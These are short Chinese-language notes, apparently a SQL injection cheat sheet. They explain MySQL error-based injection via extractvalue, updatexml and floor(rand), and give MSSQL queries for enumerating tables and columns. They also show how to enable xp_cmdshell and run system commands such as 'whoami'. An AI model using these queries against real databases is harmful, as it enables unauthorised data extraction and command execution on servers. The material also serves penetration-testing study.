Mid(database() from 1 for 1)==mid(databse(),1,1)
在数据库中字符型字段中条件值为false可以获取全部数据
数据库一般有三种报错
(1)Extractvalue()中第一个为错误参数就会错误报出第二个参数语句
(2)Floor(rand(0)*2) 插入虚拟表时出现键相同,导致的报错
(3)Updatexml ()中第一个,第三个,为错误参数就会错误报出第二个参数语句
第二点原理可以参照以下链接
https://blog.csdn.net/cried_cat/article/details/80022378
其他的error-based
Mssql
16进制转为字符串
select CONVERT(varchar(50),0x576869725f436e745f4174746163686564 )
查询数据库
select * from sys.all_objects
查表名TABLE_NAME!=这样每一行都能查
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME!=xx and TABLE_NAME!=yy ...
列名这里A.NAME是需要查询的表名,B.NAME是不需要的列名,这样可以查询到所有列名0xxx,0yyy
SELECT TOP 1 B.NAME FROM SYSOBJECTS A,SYSCOLUMNS B WHERE A.ID=B.ID AND A.NAME=(select CONVERT(varchar(50),0xxxx)) AND B.NAME!=(select CONVERT(varchar(50),0yyyy)) AND B.NAME!=...
执行系统shell命令
exec master.dbo.xp_cmdshell "whoami"; //exec master..xp_cmdshell "whoami"
执行之前需要开启xp_cmdshell才可以运行(开启需一定权限,取决于ALTER SETTINGS权限):
EXEC sp_configure 'show advanced options',1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1;
RECONFIGURE